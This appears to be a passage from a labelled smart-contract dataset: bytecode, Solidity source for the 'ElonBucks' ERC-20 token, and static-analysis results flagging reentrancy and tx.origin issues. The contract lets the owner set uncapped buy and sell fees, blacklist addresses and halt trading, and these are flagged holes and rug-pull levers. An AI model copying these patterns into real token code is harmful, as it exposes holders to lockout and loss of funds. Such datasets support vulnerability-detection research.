020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220434794c949d30ae7968171e29215422c1c3163f562136509e4d5cdf22fc6f38f64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,216 |
0x3b31796347189599ee438d74487d8d8a458ea512
|
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElonBucks is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon Bucks";
string private constant _symbol = "ELONBUCKS";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xF7bc6222493550f844c5e7a4245F97aA372B4DA5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //1.0
uint256 public _maxWalletSize = 15000000 * 10**9; //1.5
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610568578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b806395d89b41146104c657806398a5c315146104f8578063a9059cbb14610518578063bfd792841461053857600080fd5b80638da5cb5b116100d15780638da5cb5b1461045d5780638eb59a5f1461047b5780638f70ccf7146104905780638f9a55c0146104b057600080fd5b8063715018a61461041257806374010ece146104275780637d1db4a51461044757600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037c5780636b9990531461039c5780636d8aa8f8146103bc57806370a08231146103dc57600080fd5b80632fd689e31461030a578063313ce5671461032057806349bd5a5e1461033c578063658d4b7f1461035c57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102735780631694505e1461029357806318160ddd146102cb57806323b872dd146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c66565b610603565b005b34801561020a57600080fd5b5060408051808201909152600a815269456c6f6e204275636b7360b01b60208201525b60405161023a9190611dad565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611bd2565b6106b0565b604051901515815260200161023a565b34801561027f57600080fd5b506101fc61028e366004611d5f565b6106c7565b34801561029f57600080fd5b50600c546102b3906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102d757600080fd5b506005545b60405190815260200161023a565b3480156102f657600080fd5b50610263610305366004611b5e565b6106fc565b34801561031657600080fd5b506102dc60105481565b34801561032c57600080fd5b506040516009815260200161023a565b34801561034857600080fd5b50600d546102b3906001600160a01b031681565b34801561036857600080fd5b506101fc610377366004611b9e565b610765565b34801561038857600080fd5b506101fc610397366004611bfd565b6107ba565b3480156103a857600080fd5b506101fc6103b7366004611aee565b61086e565b3480156103c857600080fd5b506101fc6103d7366004611d2d565b6108b9565b3480156103e857600080fd5b506102dc6103f7366004611aee565b6001600160a01b031660009081526001602052604090205490565b34801561041e57600080fd5b506101fc610901565b34801561043357600080fd5b506101fc610442366004611d47565b610937565b34801561045357600080fd5b506102dc600e5481565b34801561046957600080fd5b506000546001600160a01b03166102b3565b34801561048757600080fd5b506101fc610966565b34801561049c57600080fd5b506101fc6104ab366004611d2d565b6109b1565b3480156104bc57600080fd5b506102dc600f5481565b3480156104d257600080fd5b50604080518082019091526009815268454c4f4e4255434b5360b81b602082015261022d565b34801561050457600080fd5b506101fc610513366004611d47565b6109f9565b34801561052457600080fd5b50610263610533366004611bd2565b610a28565b34801561054457600080fd5b50610263610553366004611aee565b600a6020526000908152604090205460ff1681565b34801561057457600080fd5b506101fc610a35565b34801561058957600080fd5b506102dc610598366004611b26565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611d47565b610a7b565b3480156105ef57600080fd5b506101fc6105fe366004611aee565b610aaa565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611e00565b60405180910390fd5b60005b81518110156106ac576001600a600084848151811061066857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a481611f13565b915050610639565b5050565b60006106bd338484610bc5565b5060015b92915050565b6000546001600160a01b031633146106f15760405162461bcd60e51b815260040161062d90611e00565b600691909155600755565b6000610709848484610ce9565b61075b843361075685604051806060016040528060288152602001611f70602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112bb565b610bc5565b5060019392505050565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062d90611e00565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107e45760405162461bcd60e51b815260040161062d90611e00565b60005b83811015610867576108543386868481811061081357634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108289190611aee565b85858581811061084857634e487b7160e01b600052603260045260246000fd5b905060200201356112f5565b508061085f81611f13565b9150506107e7565b5050505050565b6000546001600160a01b031633146108985760405162461bcd60e51b815260040161062d90611e00565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161062d90611e00565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b0316331461092b5760405162461bcd60e51b815260040161062d90611e00565b61093560006113db565b565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062d90611e00565b600e55565b6000546001600160a01b031633146109905760405162461bcd60e51b815260040161062d90611e00565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109db5760405162461bcd60e51b815260040161062d90611e00565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a235760405162461bcd60e51b815260040161062d90611e00565b601055565b60006106bd338484610ce9565b6000546001600160a01b03163314610a5f5760405162461bcd60e51b815260040161062d90611e00565b30600090815260016020526040902054610a788161142b565b50565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062d90611e00565b600f55565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062d90611e00565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600060046000610b516000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b82816113db565b600160046000610b9a6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c275760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c885760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610daf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610e115760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6001600160a01b03821660009081526004602052604090205460ff16158015610e5357506001600160a01b03831660009081526004602052604090205460ff16155b1561119657600d54600160a01b900460ff16610eb15760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000604482015260640161062d565b600e54811115610f035760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f4557506001600160a01b0382166000908152600a602052604090205460ff16155b610f9d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b600d546001600160a01b0383811691161461110b57600d546001600160a01b038481169116148015610fd85750600d54600160b81b900460ff165b1561108557326000908152600260205260409020544290610ffa9060b4611ea5565b10801561102a57506001600160a01b03821660009081526002602052604090205442906110289060b4611ea5565b105b6110855760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b606482015260840161062d565b600f54816110a8846001600160a01b031660009081526001602052604090205490565b6110b29190611ea5565b1061110b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b30600090815260016020526040902054601054811080159061112d5760105491505b8080156111445750600d54600160a81b900460ff16155b801561115e5750600d546001600160a01b03868116911614155b80156111735750600d54600160b01b900460ff165b15611193576111818261142b565b478015611191576111914761162f565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d857506001600160a01b03831660009081526004602052604090205460ff165b8061120a5750600d546001600160a01b0385811691161480159061120a5750600d546001600160a01b03848116911614155b1561121757506000611285565b600d546001600160a01b0385811691161480156112425750600c546001600160a01b03848116911614155b1561124e576006546008555b600d546001600160a01b0384811691161480156112795750600c546001600160a01b03858116911614155b15611285576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112b584848484611669565b50505050565b600081848411156112df5760405162461bcd60e51b815260040161062d9190611dad565b5060006112ec8486611efc565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526001909152918220546113469184906112bb565b6001600160a01b038086166000908152600160205260408082209390935590851681522054611375908361168a565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c99086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b179055600061145660646114508460556116f0565b9061176f565b905060006114648284611efc565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114ac57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150057600080fd5b505afa158015611514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115389190611b0a565b8160018151811061155957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c5461157f9130911687610bc5565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b8908790600090869030904290600401611e35565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b5050505060006115ff83476117b190919063ffffffff16565b905061161a84611615606461145085600f6116f0565b6117f3565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ac573d6000803e3d6000fd5b8061167f576116798484846112f5565b506112b5565b6112b58484846118ac565b6000806116978385611ea5565b9050838110156116e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b9392505050565b6000826116ff575060006106c1565b600061170b8385611edd565b9050826117188583611ebd565b146116e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b60006116e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b1565b60006116e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bb565b600c5461180b9030906001600160a01b031684610bc5565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561187357600080fd5b505af1158015611887573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108679190611d80565b60006118b884836119df565b90506119208260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112bb9092919063ffffffff16565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461194f908261168a565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119a39085815260200190565b60405180910390a350505050565b600081836119d25760405162461bcd60e51b815260040161062d9190611dad565b5060006112ec8486611ebd565b6000806119fc6064611450600854866116f090919063ffffffff16565b30600090815260016020526040902054909150611a19908261168a565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a6a9085815260200190565b60405180910390a3611a7c83826117b1565b949350505050565b8035611a8f81611f5a565b919050565b60008083601f840112611aa5578081fd5b50813567ffffffffffffffff811115611abc578182fd5b6020830191508360208260051b8501011115611ad757600080fd5b9250929050565b80358015158114611a8f57600080fd5b600060208284031215611aff578081fd5b81356116e981611f5a565b600060208284031215611b1b578081fd5b81516116e981611f5a565b60008060408385031215611b38578081fd5b8235611b4381611f5a565b91506020830135611b5381611f5a565b809150509250929050565b600080600060608486031215611b72578081fd5b8335611b7d81611f5a565b92506020840135611b8d81611f5a565b929592945050506040919091013590565b60008060408385031215611bb0578182fd5b8235611bbb81611f5a565b9150611bc960208401611ade565b90509250929050565b60008060408385031215611be4578182fd5b8235611bef81611f5a565b946020939093013593505050565b60008060008060408587031215611c12578081fd5b843567ffffffffffffffff80821115611c29578283fd5b611c3588838901611a94565b90965094506020870135915080821115611c4d578283fd5b50611c5a87828801611a94565b95989497509550505050565b60006020808385031215611c78578182fd5b823567ffffffffffffffff80821115611c8f578384fd5b818501915085601f830112611ca2578384fd5b813581811115611cb457611cb4611f44565b8060051b604051601f19603f83011681018181108582111715611cd957611cd9611f44565b604052828152858101935084860182860187018a1015611cf7578788fd5b8795505b83861015611d2057611d0c81611a84565b855260019590950194938601938601611cfb565b5098975050505050505050565b600060208284031215611d3e578081fd5b6116e982611ade565b600060208284031215611d58578081fd5b5035919050565b60008060408385031215611d71578182fd5b50508035926020909101359150565b600080600060608486031215611d94578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dd957858101830151858201604001528201611dbd565b81811115611dea5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e845784516001600160a01b031683529383019391830191600101611e5f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb857611eb8611f2e565b500190565b600082611ed857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef757611ef7611f2e565b500290565b600082821015611f0e57611f0e611f2e565b500390565b6000600019821415611f2757611f27611f2e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f21d90a85aa868392bd70e899ce7b179fd4c481301b2f97f0ade9f096cad48cc64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,217 |
0xaEf7D29845f6b1C2755Ebcf2bBE668aECb8820b5
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
